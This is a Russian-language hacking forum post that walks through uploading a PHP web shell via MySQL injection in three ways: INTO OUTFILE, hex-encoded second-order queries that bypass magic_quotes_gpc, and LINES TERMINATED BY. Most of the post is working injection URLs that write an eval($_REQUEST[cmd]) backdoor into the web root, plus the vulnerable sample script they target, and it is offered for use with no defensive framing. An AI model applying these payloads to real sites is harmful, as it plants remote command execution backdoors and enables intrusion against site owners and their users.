Заливка шелла через MySQL Injection

winner13

RIPPER
Messages
136
Reputation
35
Reaction score
87
Points
28
Заливка шелла через MySQL Injection

I. Into Outfile

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись

Допустим у нас есть SQL инъекция с выводом:
Code:
http://localhost/sql/test.php?id=-1+union+select+1,2,3--+1
Узнаем имя пользователя БД, под которым мы сидим:
Code:
http://localhost/sql/test.php?id=-1+union+select+1,user(),3--+1
Проверяем, есть ли файловые привелегии у нашего юзера:
Code:
http://localhost/sql/test.php?id=-1+union+select+1,file_priv,3+from+mysql.user+where+user='root'--+1
Заливаем мини-шелл:
Code:
http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]);  ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1

II. Into Outfile + двойной запрос (метод Scipio)

Требования:
file_priv = Y
полный путь
папка с правами на запись

Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания:
PHP:
<?php 
mysql_connect('localhost','root',''); 
mysql_select_db('test'); 
$id=$_GET["id"]; 
$sql = "SELECT id,email,name FROM `user` where id=".$id; 
$result = mysql_query($sql);  
while($res = mysql_fetch_array($result)) {
	echo $res['email'].":".$res['name']."<br>";
	$sql2 = mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]); 
	while($res2 = mysql_fetch_array($sql2)) 
		echo $res2["uid"].':'.$res2["auto"]; 
} 
?>
Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2.
Попробуем захексить кавычку и подставить в наш запрос:
Code:
http://localhost/sql/test.php?id=-1+union+select+0x27,2,3--+1
Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию:
Code:
http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c6563742027646564272c3737372d2d2031,2,3--+1
Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию:
Code:
http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c65637420273c3f706870206576616c28245f524551554553545b636d645d293b203f3e272c3737372066726f6d206d7973716c2e7573657220696e746f206f757466696c652027443a2f412f78616d70702f6874646f63732f73716c2f642e706870272d2d2031,2,3--+1

III. Into Outfile + Lines Terminated By

Требования:
magic_quotes_gpc = Off
file_priv = Y
полный путь
папка с правами на запись
инъекция в аргументе WHERE(LIMIT,ORDER BY)

Заливаем шелл запросом:
Code:
http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1
(с)Ded MustD!e

Ссылка на скачивание видио(5.85MB): http://www.sendspace.com/file/s1bgiv
 
Top